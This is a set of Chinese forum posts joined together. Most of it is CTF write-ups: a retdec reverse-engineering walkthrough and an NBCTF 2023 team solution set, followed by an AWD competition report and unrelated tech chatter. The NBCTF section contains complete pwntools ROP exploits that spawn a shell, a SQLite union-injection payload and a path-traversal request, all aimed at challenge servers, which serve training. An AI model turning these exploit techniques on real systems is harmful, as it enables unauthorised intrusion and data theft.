主要使用的是retdec-decompiler工具(linux环境下,windows可能会在后面多一个.exe),二进制文件可在[gitee](https://gitee.com/cryingn/retdec/releases/tag/v0.0.1)获取,希望大家可以顺便关照以下我自己的仓库,我自己也写过一些有意思的东西,~~能给点star就更好了~~.

#### 使用
可以通过[官方wiki](https://github.com/avast/retdec/wiki)学习相关的使用教程. 我还在缓慢翻译部分文档, 其中可以注意一下Decompiler-outputs文件, 这里我只针对要用到的进行引用:
* `input.exe.c`: The decompiled C code. **This is the main output.**
* `input.exe.ll`: Human-readable disassembly of LLVM bitcode in the [LLVM IR](https://llvm.org/docs/LangRef.html) format.

然后是个人的随缘翻译:
* `input.exe.c`:反编译的C代码, **这是反编译的核心文件**
* `input.exe.ll`:用人能看懂的方式反编译[LLVM中间码](https://llvm.org/docs/LangRef.html)。

### 程序
```bash
> retdec re
> ls
re  re.bc  re.c  re.config.json  re.dsm  re.ll
```
本次主要观察`re.c`与`re.ll`文件:

#### re.c
主要观察的反编译文件,好像有人测试过可以用gcc强制运行部分反编译过的文件.主要内容如下:

在全局变量中定义g1, g2两组字符串,还有g3, g4两个整形变量
```c
// --------------------- Global Variables ---------------------

char * g1 = "\xd5\xe2\xca\xc7\xd2\xbb\xb5\xc0\xba\xdc\xbf\xc9\xb0\xae\xba\xdc\xbc\xf2\xb5\xa5\xb5\xc4\xc4\xe6\xcf\xf2\xcc\xe2\xdf\xcf\n"; // 0x413e60
char * g2 = "\xca\xe4\xc8\xeb\x66lag\xb0\xc9:"; // 0x413e80
int32_t g3 = 0x67616c66; // 0x413e90
int32_t g4 = 0x67616c66; // 0x413e9c
```

进入主函数, 使用__asm_movdqu_2和__asm_movq_3等汇编指令初始化变量, 

```c
// ------------------------ Functions -------------------------

// Address range: 0x401000 - 0x4010c2
int main(int argc, char ** argv) {
    int32_t v1 = __asm_movdqu_2(__asm_movdqu(0x3074656d30633165577b465443545544)); // bp-72, 0x40101f
    int64_t v2; // 0x401000
    __asm_movq_3(v2, __asm_movq(0x7d465443545544));
```

打印g1、g2, 将输入值赋予v3 -> v4, v1-> v5, v6赋予v5指针, g4地址指针什么v7阿巴阿巴, 这些乱七八糟的不想理了, 差不多知道大概意思就好.

```c
    _printf(NULL);
    _printf((char *)&g1);
    _printf((char *)&g2);
    int32_t v3; // bp-40, 0x401000
    _scanf("%s", &v3);
    int32_t v4 = &v3; // 0x401065
    int32_t v5 = &v1; // 0x401065
    char v6 = *(char *)v5; // 0x401068
    char * v7 = (char *)&g4; // 0x40106c
```

快乐while循环, 如果v6(即v5指向的字符) 等于v4循环, 反之break.
将v7设为g3, 判断v6是否为0, 是则跳出循环；接着获取v5和v4后一个字符, 将其赋值给v8, 再次将v7设为g4；最后判断v8是否等于v4后一个字符，如果不相等则跳出循环。
人话就是让输入的v3(v4)等于v6(v1).

```c
    while (v6 == *(char *)v4) {
        // 0x40106e
        v7 = (char *)&g3;
        if (v6 == 0) {
            // break -> 0x40108d
        }
        char v8 = *(char *)(v5 | 1); // 0x401072
        v7 = (char *)&g4;
        if (v8 != *(char *)(v4 || 1)) {
            // break -> 0x40108d
            break;
        }
        // 0x40107a
        v4 += 2;
        v5 += 2;
        v7 = (char *)&g3;
        if (v8 == 0) {
            // break -> 0x40108d
            break;
        }
        v6 = *(char *)v5;
        v7 = (char *)&g4;
    }
```

输出v7指向的地址，并调用_system函数使程序暂停。


```c
    // 0x40108d
    _printf(v7);
    _system("pause");
    return ___report_gsfailure();
}
```

#### 小插曲
其实如果有了解radare2的话可以试试用如下指令查看汇编指令, arch系用户可直接通过`sudo pacman -S radare2`进行安装使用:
```bash
> r2 re
[0x004014a5]> aa
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze all functions arguments/locals (afva@@@F)
[0x004014a5]> afl
0x004014a5   23    304 entry0
0x00401000   11    194 main
[0x004014a5]> pdc @ main
```
可以发现其实已经有指向我们要找的关键词DUTCTF大概在0x413e44位置了.
![](https://image.hackertalk.net/images/d25bc79a-2b8d-499a-a442-d6924116364b)
详细不过多介绍, 感兴趣可以自己试着折腾一下.

#### re.ll
现在来re.ll文件找while循环到底判定了个什么, 答案很明显在第2行, 不过从个人角度还是想安利一下vim编辑器, 打开快, 编写容易, 只需要一点学习成本, 便可以让自己在未来的很多内容中省掉很多不必要的操作.
由题目已知格式为BUTCTF{},在vim编辑器下可以使用`:/BUTCTF`直接定位到所在行.
```llvm
@global_var_415000 = local_unnamed_addr global i32 -1153374642
@global_var_413e34 = local_unnamed_addr constant [24 x i8] c"DUTCTF{We1c0met0DUTCTF}\00"
@global_var_413e44 = local_unnamed_addr constant [8 x i8] c"DUTCTF}\00"
@global_var_413e8c = constant [3 x i8] c"%s\00"
@global_var_413e90 = constant i32 1734437990
@global_var_413e9c = constant i32 1734437990
......
!21 = !{i64 4198528}
!22 = !{i64 4198530}
!23 = !{i64 4198557}
!24 = !{i64 4198570}
!25 = !{i64 4198585}
!26 = !{i64 4198593}
```

#### 回代
打开程序, 是个用来给我们检验flag的小程序, 把拿到的flag带进去试试:
![](https://image.hackertalk.net/images/71b24122-ea02-401d-bd02-9104f8e29d0f)


bugku逆向(Easy_Re):使用retdec解题思路

据说配合
```bash
sudo chomd 777 get
sudo mv get /bin/get
```
使用更快乐：
```bash
#!/bin/get

# 挂载位置
export vboxsf="/mnt"
# 默认存放路径
export path="/home/root_cn/downloads"
# 所属用户名
user_name="root_cn"

ls $vboxsf

read -p "选择需要获取的文件(夹)名称:" file_name
if [ -e "$vboxsf/$file_name" ];
then
    cp -r $vboxsf/$file_name $path/$file_name
    chown -R $user_name:$user_name $path/$file_name
    echo -e "\033[32m[True]\033[0m 已获取文件于$path:"
    find $path/$file_name
else
    echo -e "\033[31m[False]\033[0m 找不到该文件"
fi
```
没什么可学习的点，发个贴证明自己还活着。

[bash]增强功能中转移文件的脚本

本次国际赛[sakana战队](https://sakana_ctf.gitee.io/sakana)拿下112名, 解出题目如下所示:

![](https://image.hackertalk.net/images/9ef705db-e483-47bb-9801-6ebc0463b87d)

以下为解出题目与比赛结束后检验过能解出的题目:

## pwn

### ribbit

ret2syscall的一道比较模板的题

## 思路一：

构造数据满足win函数

随便找一个bss段的位置。

然后ROP出一个read就行。然后win函数的两个参数分别对应**rdi** 和 **rsi**,那么利用 pop_rdi 和 pop_rsi 指定参数即可。

```python

#!/usr/bin/python3

#coding:utf-8

from pwn import *

import sys

import time

import os

import base64

from struct import pack

 

context.clear(arch='amd64', os='linux', log_level='debug')

context.terminal = ['tmux','new-window']

 

global filename,libc,libcname,host,port,e,BreakPoint,p

 

s = lambda data : p.send(data)

sa = lambda text,data : p.sendafter(text, data)

sl = lambda data : p.sendline(data)

sla = lambda text,data : p.sendlineafter(text, data)

r = lambda num=4096 : p.recv(num)

rl = lambda : p.recvline()

ru = lambda text : p.recvuntil(text)

pr = lambda num=4096 : print(p.recv(num))

inter = lambda : p.interactive()

l32 = lambda : u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))

l64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

uu32 = lambda : u32(p.recv(4).ljust(4,b'\x00'))

uu64 = lambda : u64(p.recv(6).ljust(8,b'\x00'))

int16 = lambda data : int(data,16)

lg = lambda s, num : p.success('%s -> 0x%x' % (s, num))

 

def start():

 if args.GDB:

 return gdb.debug(e.path, gdbscript = BreakPoint)

 elif args.REMOTE:

 return remote(host, port)

 else:

 return process(e.path)

 

ret_addr = 0x040101a

pop_rdi = 0x0040201f

pop_rsi = 0x0040a04e

pop_rax = 0x00449267

pop_rdx = 0x000047fe1a

syscall_ret = 0x000414d26

bss_int_addr = 0x00004C72A1

bss_chr_addr = 0x00004C72C0

win_addr = 0x000401825

def exp():

 payload = b'a' * 0x20 + b'b' * 0x08 + p64(ret_addr)

 #1.string = You got this! Just do it!

 payload += p64(pop_rax) + p64(0x0)

 payload += p64(pop_rdx) + p64(0x100) + p64(pop_rsi) + p64(bss_chr_addr)

 payload += p64(pop_rdi) + p64(0)

 payload += p64(syscall_ret)

 #2.布置传参

 payload += p64(pop_rdi) + p64(0xF10C70B33F) + p64(pop_rsi) + p64(bss_chr_addr) + p64(win_addr) + p64(0xdeadbeef)

 sla("Can you give my pet frog some motivation to jump out the hole? ",payload)

 pause()

 # payload2 = b"You got this!"

 # payload2 = payload2.ljust(0x15,b'\x00')

 # payload2 += b'Just do it!\x00'

 payload2 = b"You\x20got\x20this!\x00\x00\x00\x00\x00\x00\x00\x00Just\x20do\x20it!\x00"

 sl(payload2)

 inter()

 

if __name__ == '__main__':

 filename = './ribbit'

 # libcname = '' 

 host = 'chal.nbctf.com'

 port = 30170

 e = context.binary = ELF(filename)

 # libc = ELF(libcname)

 BreakPoint = '''

 b frog

 '''

 p = start()

 exp()

```

## 思路二：

不管win函数，反正程序能执行system（/bin/sh），那么直接ret2syscall做就行。

先利用syscall实现一个往bss段写/bin/sh的read函数，然后再实现一个system函数就行。

EXP：

```python

#!/usr/bin/python3

#coding:utf-8

from pwn import *

import sys

import time

import os

import base64

from struct import pack

 

context.clear(arch='amd64', os='linux', log_level='debug')

context.terminal = ['tmux','new-window']

 

global filename,libc,libcname,host,port,e,BreakPoint,p

 

s = lambda data : p.send(data)

sa = lambda text,data : p.sendafter(text, data)

sl = lambda data : p.sendline(data)

sla = lambda text,data : p.sendlineafter(text, data)

r = lambda num=4096 : p.recv(num)

rl = lambda : p.recvline()

ru = lambda text : p.recvuntil(text)

pr = lambda num=4096 : print(p.recv(num))

inter = lambda : p.interactive()

l32 = lambda : u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))

l64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

uu32 = lambda : u32(p.recv(4).ljust(4,b'\x00'))

uu64 = lambda : u64(p.recv(6).ljust(8,b'\x00'))

int16 = lambda data : int(data,16)

lg = lambda s, num : p.success('%s -> 0x%x' % (s, num))

 

def start():

 if args.GDB:

 return gdb.debug(e.path, gdbscript = BreakPoint)

 elif args.REMOTE:

 return remote(host, port)

 else:

 return process(e.path)

 

ret_addr = 0x040101a

pop_rdi = 0x0040201f

pop_rsi = 0x0040a04e

pop_rax = 0x00449267

pop_rdx = 0x000047fe1a

syscall_ret = 0x000414d26

bss_int_addr = 0x00004C72A1

bss_chr_addr = 0x00004C72C0

win_addr = 0x000401825

def exp():

 payload = b'a' * 0x20 + b'b' * 0x08 + p64(ret_addr)

 #1.string = You got this! Just do it!

 payload += p64(pop_rax) + p64(0x0)

 payload += p64(pop_rdx) + p64(0x100) + p64(pop_rsi) + p64(bss_chr_addr)

 payload += p64(pop_rdi) + p64(0)

 payload += p64(syscall_ret)

 #2. execve("/bin/sh",NULL,NULL)

 payload += p64(pop_rax) + p64(0x3b)

 payload += p64(pop_rdx) + p64(0x0) + p64(pop_rsi) + p64(0)

 payload += p64(pop_rdi) + p64(bss_chr_addr)

 payload += p64(syscall_ret) + p64(0xdeadbeef)

 sla("Can you give my pet frog some motivation to jump out the hole? ",payload)

 pause()

 payload1 = b'/bin/sh\x00'

 sl(payload1)

 inter()

 

if __name__ == '__main__':

 filename = './ribbit'

 # libcname = '' 

 host = 'chal.nbctf.com'

 port = 30170

 e = context.binary = ELF(filename)

 # libc = ELF(libcname)

 BreakPoint = '''

 b frog

 '''

 p = start()

 exp()

```

## MISC

### do you hear that?

简单的音频隐写签到题

![](https://image.hackertalk.net/images/70db08ea-4b82-4e8c-a177-202addeecf90)

解出flag:`nbctf{y0u_h4v3_s0m3_g00d_34rs}`

## crypto

### Caesar Salads

题目如下所示:

`Ciphertext: xlmdp{ryzo_drsc_gkcxd_dyy_rkbn_yp_k_cdkbd}`

很基础的凯撒加密, 轻易可以推出位移数为10, 随便找个网站:

![](https://image.hackertalk.net/images/72523ca4-a607-4c70-af7b-5c7b8685e189)

解出flag:`nbctf{hope_this_wasnt_too_hard_of_a_start}`

### 32+32=64

两个文件, 里面装的像base64编码, 我的思维僵化了, 一直没想出32+32=64是什么意思, 还得靠队友, 将字符解码32次进行base64编码拿到flag:

```python

import base64

def decode_base64_multiple_times(encoded_str, num_times):

 decoded_str = encoded_str

 for _ in range(num_times):

 decoded_str = base64.b64decode(decoded_str)

 return decoded_str.decode('utf-8')

def main(file_name):

 file_path = file_name# "32_{}.txt"

 num_decodes = 32

 try:

 with open(file_path, 'r') as file:

 base64_encoded_string = file.read().strip()

 result = decode_base64_multiple_times(base64_encoded_string, num_decodes)

 return result

 except FileNotFoundError:

 print(f"Error: File '{file_path}' not found.")

 except Exception as e:

 print(f"An error occurred: {e}")

if __name__ == "__main__":

 flag = ""

 for i in ["32_1.txt","32_2.txt"]:

 flag += main(i)

 print(flag)

```

解出flag:`nbctf{h0pE_y0U_h4d_fUn}`

### Rivest Shamir forgot Adleman

rsa, 但是细看会发现有点不太一样, 看部分源码:

```python

m = bytes_to_long(b"nbctf{[REDACTED]}")

ct = (m^e) % n

```

latex写多了, 一直没想起`^`在python中是异或运算, 我在疑惑为什么不用pow()而是自己用符号实现了模运算, 效率会低很多. 发现了问题后就很容易直接反推密文了:

```python

n = 13431294979312769345517878088407659222785929563176888493659632690735510803353339825485161776891929296355466082338185199541755546384591261208929371208286410559187299345800125302598147388467283782373829399059130130575707550536466670447022349923395822077916588516101640779751198703879200863153859677174339078186779847910915309774616338231020176817201080756103027200290903849975398368943087868140010448011002364291104062990443568049879169811274854879262048473842331319786127894828031613201122015559660817797429013884663990368453887433480357502012963127000535358820517096295714967262963843868885674823702064175405493435873

e = 123589168751396275896312856328164328381265978316578963271231567137825613822284638216416

ct = 159269674251793083518243077048685663852794473778188330996147339166703385101217832722333

from Crypto.Util.number import *

pt = b"flag{fake_flag}"

u = 0

while pt[:5] != b"nbctf":

 m = (ct + (n * u)) ^ e

 pt = long_to_bytes(m)

 u += 1

print(pt)

```

讲个笑话, 我一直以为取模起作用了, 开始是令`u = 1`, 爆破了好久没出结果, 然后自己随便取了个`flag{test}`反推, 发现`m^e`可能会小于`n`, 把`u`改为从0开始秒出结果:

解出flag:`nbctf{wh0_t0ld_m3_t0_u53_xors!?!?!?}`

### SBG-ABW's Insanity

经检验getPrime(1096)会获取长度330的随机素数.

当获取AES的密钥时可以直接反解出结果, 故本题的关键是求出被哈希加密的`q1`, 已知`n1`和`n2`共用了`p`, 其中有

$$

\begin{matrix}

ct1 = m^e\mod{n1} \\

ct2 = m^e\mod{n2}

\end{matrix}

\longrightarrow 

\begin{matrix}

m^e - ct1 = m^e - (m^e\mod{n1}) \\

m^e - ct2 = m^e - (m^e\mod{n2})

\end{matrix}

$$

由模运算的定义可知$m^e - ct1$可被n1整除, 同理$m^e - ct2$可被n2整除, 即$p \cdot u = (m^e - ct1, m^e - ct2)$, 再将结果进行反代: $q1 \cdot v = m^e - ct1 p \cdot u$, 其中q为330位的素数.

接下来使用python求出$q1 \cdot v$:

```python

ct1 = 196150896308015382573408099004515975466540094705348761587854272630906023749083911008835478259767648401709605726136589590310666858430120235218762651641330953170392784645631801449432061363776229651965539255255795373230255852992805188205639228954217034390731460194284731845705855212209524525682241998203303747513174581513168217999505436596818091279091144718119512522929858750349220346765422769476003604849600128605208123474607256344535541843454810706150705449483256361736428064150792476736751093915251743882647862500622465233906844054109281842278362125589335774364236155483783338907105809549449368926475631824722919958889450225026843225780470131268709445293157749

ct2 = 83507921327913521142443934492559420944369023782917085618978768157512494136296269338031471193927727958060037960270530278173852027186606624474398269053920321522448607751539858355179998108075848593814112217098612017462222420001262248144471923306139580601814218471659969728514600258330312623506466116333593434744460773476488134792248490905628242447603788884700795677619881924772996081377617066055448888668800826281711315468059146518373888252421991592124071284411947405472003802863596010724784730366575751160333120162778945930063499020829492960600318519615351417595308518636794008603089224459556289944808655338805251676963828327517925911000528943113536807796285824

from Crypto.Util.number import bytes_to_long

from Crypto.Util.Padding import pad

from gmpy2 import gcd

m = bytes_to_long(b'we give you this as a gift!')

e = 11

p = gcd(pow(m,e) - ct1, pow(m,e) - ct2)

q1_v = (pow(m,e) - ct1) // p

print("q1*v = ",q1_v)

# q1*v = 9438107483604426099234307212427752475803854764708848335746164286148983426581753805031007985540714362644785021419780829848843302168556301770235625908216882683578075464112216424821035025880166672346974071285574853860969650611535038467308780428766159187393252271266400062630507333498189661076570162911509133920022337277819596436742504777762405418094034838882020565595203629234137016588

```

用[网站](http://factordb.com)先快速使用筛减一遍得到长364位的大数:215159925620871504066041755421707402109251457512031234570066010084122017405040683711805515329207311736, 因为q为330位的素数, 故另一位数的长度约34位, 两位数量级差距过大, 使用ecm方法, 这里用yafu爆破了大概十几秒拿到330位的素数, 再次进行计算:

```python

from Crypto.Util.number import long_to_bytes

from Crypto.Cipher import AES

import hashlib

enc_flag = "ac2289b707b174c541cf0952bf3b2057561b0872451444a5bbecf18c007ea20fa2b7c8a1707a74a1657e5adb5c1a417f"

q1 = 603701201822386830907144477326706640694145605732107023753674808182665696931502012989218558077472289899849882120737934821898165435847435044518846871242860227586749788240998624721376490806164324545522115137075097300642534248374378375756928831273442124872283671893345317220496457140852434166575343690062190540448032738970711476061243

key = hashlib.sha256(long_to_bytes(q1)).digest()

cipher = AES.new(key, AES.MODE_ECB)

flag = cipher.decrypt(bytes.fromhex(enc_flag))

print("flag is:",flag)

# flag is: b'nbctf{c0ngr4ts_0n_F1nish1n9_Th3_3_P4rt3r!!!!}\x03\x03\x03'

```

解出flag:`nbctf{c0ngr4ts_0n_F1nish1n9_Th3_3_P4rt3r!!!!}`

### Too Little Information

原理:

$$

\begin{matrix}

n = p \cdot q \\

n = p \cdot（p+q - p） \\

0 = p \cdot（p+q - p）- n

\end{matrix}

$$

使用(p+q)的部分值, 可以得到p的部分值(MSB相同), 然后使用Coppersmith定理进行高位攻击获得p的全部值。

使用sage进行Coppersmith定理攻击:

```python

ct = 20030315247290021934293927354887580426070566017560641204155610658927917290198737029903594702064351773446005018155094643288125396810753014936800515440652855824038470725838848349666236623899089094953181436465435270989651491997801177943499187812270081592263331832916362349716591828106306150603120693022149233534

e = 65537

n = 90166344558664675592644684556355545187373291859609367810958775310181360193141550862577281658089332577942193823477148064165061303827534169112815736618901965700400798345371758370344207077280925015891945591352156370597957742921722432314582261224366498475465730899163137511778647694175484386010210005826793007961

hint = 12227137598952006551839416663729660224872609953685427677011433223002140448682395830146750981200

from Crypto.Util.number import *

p_ = var('p_')

approx_p_plus_q = hint << 200

approx_p = int((p_*(approx_p_plus_q - p_) - n).roots()[0][0])

PR.<x> = PolynomialRing(Zmod(n))

f = approx_p + x

x = f.small_roots(X=2**200, beta=0.4)[0]

p = int(f(x))

q = n//p

d = pow(e, -1, (p-1)*(q-1))

print("flag = ",pow(ct,d,n))

#flag = 3955723565863787890122051087353365062947420706255423426561541597572251864498831149955181045122737577537149

#print(long_to_bytes(pow(ct, d, n)))

#nbctf{cr34t1v3_fl4gs_4r3_s0_h4rd_t0_m4k3...}

```

可能是sage中的python版本太老, 直接调用long_to_bytes()无法得到结果, 会出现报错, 重新拿python跑了一遍结果:

![](https://image.hackertalk.net/images/c19b41ee-8a5f-4dec-863a-bd8c01818f81)

解出flag:`nbctf{cr34t1v3_fl4gs_4r3_s0_h4rd_t0_m4k3...}`

## web

### Inspector Gadget

旗帜四散在网站各处, 几乎没有审计, 单纯的hide and seek小游戏, 辛苦web手了, 以下是其中一个flag:

![](https://image.hackertalk.net/images/715bf44c-43c8-45e4-b3ef-81b1b7192051)

* 直接进入其中一个网页找到标题flag1/4

* 在js里面找到隐藏文件`supersecrettopsecret.txt`, 访问后拿到flag2/4

* 让图片丢失后显示flag3/4

* 扫目录在`mysecretfiles.html`拿到flag4/4

最后组合后解出flag:`nbctf{G00d_J06_D3tectlv3_G4dg3t352}`

### walter's crystal shop

sqlite的简单注入题目, 比较欣慰的是我们团队中有两位队员分别独立地解出了这道题目, 我都存下了信息, 一位使用sqlmap, 这里主要写另一位的联合注入:

`Amethyst' union select 1,2,flag from flag--+`

查询后拿到结果:

![](https://image.hackertalk.net/images/7958ccd1-270e-45ca-99be-7bd12a78445f)

解出flag:`nbctf{h0p3fuLLy_7h3_D3A_d035n7_kn0w_ab0ut_th3_0th3r_cRyst4l5}`

### Galleria

因为好久没打其他赛道所以干脆只看crypto部分, 导致这么简单的题都没做出来, 从`Dockerfile`文件可知flag以`flag.txt`形式存放在`/tmp/flag.txt`处, 审计源码, 这里贴出部分比较关键的代码:

```python

def check_file_path(path):

 _path = Path(path)

 parts = [*Path.cwd().parts][1:]

 for part in _path.parts:

 if part == '.':

 continue

 if part == '..':

 parts.pop()

 else:

 parts.append(part)

 if len(parts) == 0:

 return False

 _path = os.path.join(os.getcwd(), path)

 _path = Path(_path)

 return _path.exists() and _path.is_file()

 

@app.route('/gallery')

def gallery():

 if request.args.get('file'):

 filename = os.path.join('uploads', request.args.get('file'))

 if not check_file_path(filename):

 return redirect(url_for('gallery'))

 return send_file(filename)

```

check_file_path()函数会过滤掉试图往回的路径, 影响不大, 直接访问`[网站地址]/gallery?file=/tmp/flag.txt`拿到flag.

解出flag:`nbctf{w0nd3rh0000yyYYyYyyYyyyYyYYYyy!}`

NewportBlakeCTF 2023 (NBCTF 2023) Sakana战队wp

记得之前有一个，基调是绿色的，从html到webpack到node都有涉及。但是怎么也找不到了。各位大佬贡献一下你们的日常背八股文的网站呗 :sleeping: 

求前端背八股文网站

像洛谷这样，签到之后能显示今日运势——单纯签到加积分感觉有点干瘪……![](https://image.hackertalk.net/images/02a15653-d9fd-4676-8914-4cd7eb2c155f)![](https://image.hackertalk.net/images/a1e0d9e3-8247-4427-9f96-39dbfe18efff)

感觉站长可以给签到加个功能

空间和时间复杂度都是 `O(1)`，好像还鲜有人知的算法：

```cpp
inline auto log_2(uint64_t x) { // also unsigned long long
    uint64_t rst = 0;
    if (x & 0xffff'ffff'0000'0000ULL) rst += 32, x >>= 32;
    if (x & 0x0000'0000'ffff'0000ULL) rst += 16, x >>= 16;
    if (x & 0x0000'0000'0000'ff00ULL) rst +=  8, x >>=  8;
    if (x & 0x0000'0000'0000'00f0ULL) rst +=  4, x >>=  4;
    if (x & 0x0000'0000'0000'000cULL) rst +=  2, x >>=  2;
    if (x & 0x0000'0000'0000'0002ULL) rst +=  1          ;
    return rst;
}
inline auto log_2(uint32_t x) { // also unsigned int
    uint32_t rst = 0;
    if (x & 0xffff'0000U) rst += 16, x >>= 16;
    if (x & 0x0000'ff00U) rst +=  8, x >>=  8;
    if (x & 0x0000'00f0U) rst +=  4, x >>=  4;
    if (x & 0x0000'000cU) rst +=  2, x >>=  2;
    if (x & 0x0000'0002U) rst +=  1          ;
    return rst;
}
inline auto log_2(uint16_t x) { // also unsigned short
    uint16_t rst = 0;
    if (x & 0x0000'ff00U) rst += 8, x >>= 8;
    if (x & 0x0000'00f0U) rst += 4, x >>= 4;
    if (x & 0x0000'000cU) rst += 2, x >>= 2;
    if (x & 0x0000'0002U) rst += 1         ;
    return rst;
}
inline auto log_2(uint8_t x) { // also unsigned char
    uint8_t rst = 0;
    if (x & 0x00f0U) rst += 4, x >>= 4;
    if (x & 0x000cU) rst += 2, x >>= 2;
    if (x & 0x0002U) rst += 1         ;
    return rst;
}
```

快速log2取整算法

**免费gpt4推荐 https://a.x-code.fun**

免费gpt4推荐 https://a.x-code.fun

最近在定位内存泄漏的问题，发现 Postman 已经支持并发调试了，可以替代 Jmeter（界面太老太难用了），performance test 的效果如下图，界面很好看，数据清晰：

![](https://image.hackertalk.net/images/0fa77da6-35c6-4cd1-b206-e58361bf1c21)

还可以模拟同时在线人数，做压力测试，设置流量增长曲线或者突发：

![](https://image.hackertalk.net/images/c769f49d-72f2-411c-ab47-29cecc34dbf6)

JProfile 是 Java 的调试可视化工具，不用命令行 dump 再分析，配合 Run GC 功能可以很快定位到内存泄漏的来源，除了看内存，还能看 CPU、Thread、JDBC 等通用接口指标。缺点是这个软件有点贵，如果有开源项目可以免费申请 License：

![](https://image.hackertalk.net/images/c02c3caf-104e-4372-a92e-b3f2c7d73f05)

Postman + JProfile 调试真方便

在队内简单训练过两次比赛后直接上场国际赛事, 最终成绩如下所示:

![](https://image.hackertalk.net/images/5549b2b5-0174-42d5-8c3c-86f315daaa33)

在249支出战战队中一支成立不久, 还带着刚招的新人的战队, 能拿到这个排名某种意义上也挺不错了. 下面是本次[sakana战队](sakana_ctf.gitee.io/sakana)带队队长**sudopacman**在这次比赛中的个人总结, 出战选手为: **sudopacman**, **H4nn4h**(新成员), **REP**(新成员), **liangmo**,**zy4024**(新成员).

## 连接部分

saarctf分为两种连接模式, 即云托管(即使用ssh直接连接)和自托管(使用oracle vm virtualbox). 本次比赛中本队使用了云托管进行参赛, 连接方式为:

* 将下载的*saarctf-cloud.conf*文件修改为*saarctf-cloud.ovpn*, 使用3.4.2版本对应工具直接连接.
* ping [战队IP], 确认丢包率不为100%即为虚拟环境连接成功.
* 提交ssh密钥后完成准备阶段.

![](https://image.hackertalk.net/images/5ba5b05c-ad4b-44a6-ae4a-149afa8d40a3)

以下将详细介绍ssh连接部分:

### openssh工具使用

战队使用openssh工具, 对于archlinux可以直接使用`sudo pacman -S openssh`进行下载, 密钥使用指令`ssh-keygen -t rsa`进行生成, 默认情况公钥和私钥将存放在.ssh文件夹中, 在文件中可以找到两个文件:*[私钥名]*与*[私钥名].pub*, 之前我们有人误将私钥当作公钥提交, 在这里提醒大家:*私钥名].pub*文件是公钥, *[私钥名]*是私钥, 不要随意把自己的私钥丢给大家.

## 竞赛过程

竞赛分为两个过程, 前面会留一小段时间进行代码审计与加固, 然后开始攻击时间, 本次比赛攻击轮次高达240轮, 每轮结束后将直接计算分值, 然后开始下一轮, 从晚上9点打到第二天凌晨6点, 加上在这之前还有一场凌晨2点持续24小时的常规ctf, 实在有点扛不住高强度消耗.

### 加固部分

感觉和网上说的差距会稍微有点大, 之前我们看教程主要说了点php的什么一件不死马, 弱口令......, 实际上好像也没这些乱七八糟的东西, 说一下我感觉重要的部分.

1. `scp`指令: 拉文件其实是一件很重要的操作, 比赛开始可以直接拉取题目数据到本地分析, down掉以后还能本地自己还原, 而不是直接扣大分还原服务器.
2. `ps -ef`&`kill`指令: `ps -ef`能检测后台运行的程序, `kill [指令号]`可以结束掉危险指令的进程.
3. 修改危险指令: 不建议直接删除, 我当时把很多重要工具进行改名, 结果防住了一些注入操作, 成功保住了几道赛题. 如果直接删除的话之后可能会有需要用到的地方, 像我之前出现了一个严重错误, 还好没有把指令直接删掉, 紧急修复了回去.
4. 代码审计: 删改掉一些危险代码, 和常规ctf比赛不同的是awd中的代码会很多很长, 导致无法全部复制到大模型中, 只能人工审计, 这部分以后慢慢考虑.

![](https://image.hackertalk.net/images/50a2f02b-545b-483e-a943-686419232a49)

### 攻击部分

相比防御, 攻击部分会显得稍像ctf, 可惜本次比赛我们战队的pwn手与web手全部翘掉了, 导致密码学玩家高强度坐牢. 我们试着打了一下没有结果, 最后干脆一心一意弄防御, 所以攻击部分就不细说误人子弟了, 简单聊一下自己的理解就好.

* 不同于训练赛, saarctf中不需要扫描ip, 玩家可以直接在排行榜找到对手的ip.
* 服务器中的代码一般是可以直接在网上找到的, 看历史issues应该可以帮到大忙, 但是我懒, 没有去看.
* 攻击的方式是审计与工具乱扫, 万一不小心扫出点什么呢, 很可惜, 我只在队内赛扫出点名堂.
* 值得一提的是对于大部分web新手来说主要学习php语言入坑, 但是以我这段时间的经历来看现在python, golang这类语言的比重在大幅提升,还有c语言的沙盒类题目比重也越来越高, emmmm, 大家看情况学吧.

![](https://image.hackertalk.net/images/19b038c0-8861-4854-84ac-0dc1443522ea)

## 杂谈

既然不是面向战队, 这篇文字就只介绍个大概吧, 对于awd, 个人感觉实战的体验和基本功会更加珍贵, 看教程学到的终究只能图一乐, 在越正式的比赛中基础会变得越重要, 反而只有那些简单的小比赛才会出现什么弱口令登录服务器和一键获取flag之类的东西吧.